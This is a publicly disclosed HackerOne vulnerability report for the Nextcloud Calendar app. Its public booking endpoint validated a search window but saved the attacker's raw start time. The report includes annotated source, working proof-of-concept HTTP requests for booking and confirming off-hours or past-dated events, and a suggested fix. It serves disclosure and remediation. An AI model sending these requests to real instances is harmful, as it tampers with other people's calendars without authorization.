HexBrain

Nextcloud · Report #3943436

Unauthenticated attacker can book appointments at arbitrary times, including outside availability and in the past

Validstatus
lowseverity
7upvotes
11 Nov 2026disclosed

Summary

The public appointment booking endpoint of the Calendar app checked that at least one bookable slot existed within the start/end range the requester sent. It then saved the requested start time instead of the slot it had checked. An unauthenticated attacker with the public booking link could therefore create a confirmed event in the organizer's calendar at a time the organizer had not offered.

The impact is limited to the integrity of the organizer's calendar. No data is disclosed.

The booking request is now only accepted if its start and end match an available slot exactly.

Fixed in Calendar 6.5.5 and 6.6.1.

How it was found

Summary

The public appointment booking endpoint validates that some bookable slot exists inside the attacker-supplied [start, end] search window, but then persists the attacker's raw start and end values instead of the validated slot's values. The confirmation path repeats the same flawed check and writes a VEVENT into the organizer's real calendar using the attacker-controlled start as DTSTART.

An unauthenticated attacker who has the public booking link can therefore create a confirmed event on the organizer's calendar at a time the organizer never made available — including outside configured working hours and in the past — while bypassing the daily booking maximum and the existing-event conflict check.


Affected endpoints

RouteMethodAuthFile
/apps/calendar/appointment/{appointmentConfigToken}/bookPOST@PublicPage (none)appinfo/routes.php:24
/apps/calendar/appointment/confirm/{token}POST@PublicPage (none)appinfo/routes.php:26

Root cause

1. The controller performs no bounds validation

lib/Controller/BookingController.php:153-166

public function bookSlot(string $appointmentConfigToken,
    int $start,
    int $end,
    ...): JsonResponse {
    if (!$this->mailer->validateMailAddress($email)) { ... }

    if ($start > $end) {                                  // <-- the ONLY check on time
        return JsonResponse::fail('Invalid time range', Http::STATUS_UNPROCESSABLE_ENTITY);
    }
    ...
    $booking = $this->bookingService->book($config, $start, $end, ...);

$start and $end are raw request parameters. Nothing constrains them to an offered slot.

2. book() validates a window, then persists the input

lib/Service/Appointments/BookingService.php:134-158

public function book(AppointmentConfig $config, int $start, int $end, ...): Booking {
    $bookingSlot = current($this->getAvailableSlots($config, $start, $end));   // L135

    if (!$bookingSlot) {                                                       // L137
        throw new NoSlotFoundException('Could not find slot for booking');
    }
    ...
    $booking->setStart($start);                                                // L154  <-- raw input
    $booking->setEnd($end);                                                    // L155  <-- raw input
    ...
    $this->bookingMapper->insert($booking);                                    // L158

$bookingSlot — the only value that was actually validated — is discarded. The check is a bare truthiness test: it asks "does at least one bookable slot exist anywhere in this range?", never "is the requested time that slot?".

3. getAvailableSlots() treats start/end as a search range, not a request

lib/Service/Appointments/BookingService.php:176-209 → AvailabilityGenerator::generate()

lib/Service/Appointments/AvailabilityGenerator.php:43-113

$earliestStart = max($start, $now + $bufferBeforeStart, ($config->getStart() ?? $now) + $bufferBeforeStart);  // L49-53
$latestEnd     = min($end, $config->getEnd() ?? $end);                                                        // L64-67
...
$applicableSlots = $this->filterDates($start, $slots, $timeZone, $config->getIncrement());                    // L94
foreach ($applicableSlots as $slot) {
    if ($slot->getEnd() <= $earliestStart || $slot->getStart() >= $latestEnd) { continue; }                   // L100
    $intervals[] = new Interval(max($earliestStart, $slot->getStart()), min($latestEnd, $slot->getEnd()));    // L103-111
}

The returned Interval[] are the organizer's real availability windows clipped to the requested range. They can be arbitrarily far from $start, because filterDates() scans a ±24.3 hour period around $start:

lib/Service/Appointments/AvailabilityGenerator.php:148-152

$period = new DatePeriod(
    (new DateTimeImmutable())->setTimezone($tz)->setTimestamp($start - 87600)->setTime(0, 0),
    new DateInterval('P1D'),
    (new DateTimeImmutable())->setTimezone($tz)->setTimestamp($start + 87600)->setTime(23, 59)
);

So any day with a configured availability rule within ~24 hours of $start produces a slot that satisfies the check — regardless of whether $start itself falls on an available day or an available hour.

4. Confirmation repeats the same flawed check and writes the event

lib/Service/Appointments/BookingService.php:90-113

public function confirmBooking(Booking $booking, AppointmentConfig $config): Booking {
    $bookingSlot = current($this->getAvailableSlots($config, $booking->getStart(), $booking->getEnd()));  // L91
    if (!$bookingSlot) { throw new NoSlotFoundException(...); }                                           // L93
    ...
    $calendar = $this->calendarWriter->write($config, $booking);                                          // L111
    $booking->setConfirmed(true);
    $this->bookingMapper->update($booking);                                                               // L113

Line 91 re-validates using the already-tainted stored values, so it passes for exactly the same reason. Then:

lib/Service/Appointments/BookingCalendarWriter.php:112-126

$start = (new DateTimeImmutable())->setTimestamp($booking->getStart())->setTimezone(new \DateTimeZone($timezone));
$end   = (clone $start)->setTimestamp($start->getTimestamp() + $config->getLength());
...
$vEvent->add('DTSTART', $start);          // attacker-controlled
$vEvent->add('DTEND', $end);
$vEvent->add('STATUS', 'CONFIRMED');

The event is written into the organizer's target calendar at the attacker's chosen DTSTART.


Reproduction

Setup (as the victim/organizer, one time):

  1. Calendar → Appointments → create an appointment config.
  2. Set availability to a single window, e.g. Monday 09:00–17:00 only. Leave all other days empty.
  3. Set slot length 30 min, increment 30 min. Optionally set "Daily max" to 1 to demonstrate the limit bypass.
  4. Copy the public booking link, e.g. https://<host>/apps/calendar/appointment/<configToken>.

Attack (unauthenticated, no account on the instance):

Step 1 — Enumerate a legitimate slot

GET /apps/calendar/appointment/<configToken>/slots?dateSelected=2026-08-17&timeZone=UTC HTTP/1.1
Host: <host>

Response contains e.g. {"start":1755421200,"end":1755423000} — Monday 2026-08-17 09:00–09:30 UTC. This is the only kind of time the UI will ever let a user submit.

Step 2 — Book an off-hours time by widening end

Send a start the organizer never offered (Sunday 03:00 UTC, outside every configured rule) and an end stretched forward to sweep in Monday's legitimate slot:

POST /apps/calendar/appointment/<configToken>/book HTTP/1.1
Host: <host>
Content-Type: application/json

{
  "start": 1755399600,
  "end": 1755423000,
  "displayName": "Attacker",
  "email": "[email protected]",
  "description": "PoC",
  "timeZone": "UTC"
}
  • 1755399600 = Sun 2026-08-16 03:00 UTC — not within any configured availability rule.
  • 1755423000 = Mon 2026-08-17 09:30 UTC — the end of a real slot.

Response: HTTP 200 {"status":"success"}.

NoSlotFoundException is not thrown because getAvailableSlots() finds Monday's 09:00–09:30 slot inside the window. The row inserted into oc_calendar_appt_bookings has start = 1755399600.

Step 3 — Confirm

The confirmation email is delivered to the attacker's own address, so no victim interaction is needed.

POST /apps/calendar/appointment/confirm/<bookingToken> HTTP/1.1
Host: <host>

Response: HTTP 200 {"confirmed":true}

Result

A STATUS:CONFIRMED VEVENT now exists in the organizer's calendar at Sunday 03:00 UTC, a day and time the organizer marked entirely unavailable.

Variant — booking into the past

earliestStart = max($start, $now + $buffer, ...) clamps only the search; the persisted value is still raw $start. Submitting a start up to ~24 hours in the past, with end covering a slot that is still in the future, produces a confirmed event dated yesterday. This demonstrates conclusively that the validated slot and the stored value have no relationship at all.


Expected vs. actual

ExpectedThe booking is rejected unless start/end exactly match a slot returned by getBookableSlots.
ActualThe booking is accepted and a confirmed event is written at the attacker's arbitrary start, provided any real slot exists within ~24h of it.

Impact

Three server-side controls the organizer explicitly configured are bypassed, because each one only ever evaluates the candidate slot list and never the value that is actually persisted and written:

  1. Configured availability windows (AvailabilityGenerator) — events land outside working hours, on days marked unavailable, and up to ~24h in the past.
  2. Existing-event conflict check (EventConflictFilter.php:54-56) — the query range is built from $slot->getStartAsObject() / getEndAsObject(), i.e. the candidate slot, so the organizer's real events at the attacker's chosen time are never consulted. The attacker can deliberately schedule on top of an existing private appointment.
  3. Daily booking maximum (DailyLimitFilter.php:49-53, 85-89) — availability is counted per candidate slot's day. When the persisted start falls on a different day, that day's quota is never checked, so the configured dailyMax can be exceeded.

Additionally, generatePreAppointment() / generatePostAppointment() (BookingCalendarWriter.php:201-242) anchor on the tainted DTSTART/DTEND, so preparation and follow-up blocks are placed at the wrong time as well.

The attacker requires only the public booking link, which is intended to be shared widely.


Why this is a security issue, not a UI validation bug

The appointment feature is designed to let anonymous third parties write into an organizer's calendar — but strictly within limits the organizer configures. Availability windows, the daily maximum, and the conflict check are the authorization policy for that write. This report demonstrates that all three are enforced against a value the attacker does not have to use, which makes them advisory only. The same endpoint was previously the subject of GHSA-7x2j-2674-fj95 ("Calendar app allowed booking appointments without the generated token"), which establishes that server-side enforcement on this booking path is treated as security-relevant.


Suggested fix

Require the requested time to be exactly one of the validated slots, rather than testing only that the list is non-empty. In lib/Service/Appointments/BookingService.php:

public function book(AppointmentConfig $config, int $start, int $end, ...): Booking {
    $bookingSlot = null;
    foreach ($this->getAvailableSlots($config, $start, $end) as $slot) {
        if ($slot->getStart() === $start && $slot->getEnd() === $end) {
            $bookingSlot = $slot;
            break;
        }
    }

    if ($bookingSlot === null) {
        throw new NoSlotFoundException('Requested time does not match an available slot');
    }
    ...
    $booking->setStart($bookingSlot->getStart());
    $booking->setEnd($bookingSlot->getEnd());

Apply the identical check in confirmBooking() at line 91.

This is compatible with the existing frontend: getBookableSlots returns Interval objects and the client posts those exact start/end values, so legitimate bookings are unaffected.

Hardening worth considering alongside the fix: reject end - start > $config->getLength() in BookingController::bookSlot(), and reject start values in the past.


Notes and scope of this report

  • Rate limiting on bookSlot (#[AnonRateLimit(limit: 10, period: 1200)], #[UserRateLimit(limit: 10, period: 300)], BookingController.php:151-152) bounds the volume of abuse but does not affect the logic bypass itself.
  • DTEND is derived as start + $config->getLength(), so the created event has the configured duration. The attacker controls when the event occurs, not how long it lasts. The oversized end value is persisted on the Booking row only.
  • The attacker's start must be earlier than a real slot and within ~24 hours of it, because of the $earliestStart clamp combined with the filterDates() ±87600s window. This is a bound on the attack, not a mitigation — off-hours, weekend, overnight, and past-dated placements are all reachable.
  • No confidentiality impact and no privilege escalation are claimed. The impact is integrity of the organizer's calendar, scored I:L.

References

  • lib/Controller/BookingController.php:153-166
  • lib/Service/Appointments/BookingService.php:90-113, 134-158, 176-209
  • lib/Service/Appointments/AvailabilityGenerator.php:43-113, 123-177
  • lib/Service/Appointments/BookingCalendarWriter.php:107-126, 201-242
  • lib/Service/Appointments/EventConflictFilter.php:40-79
  • lib/Service/Appointments/DailyLimitFilter.php:37-93
  • appinfo/routes.php:23-26
  • Prior advisory on the same endpoint: https://github.com/nextcloud/security-advisories/security/advisories/GHSA-7x2j-2674-fj95

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original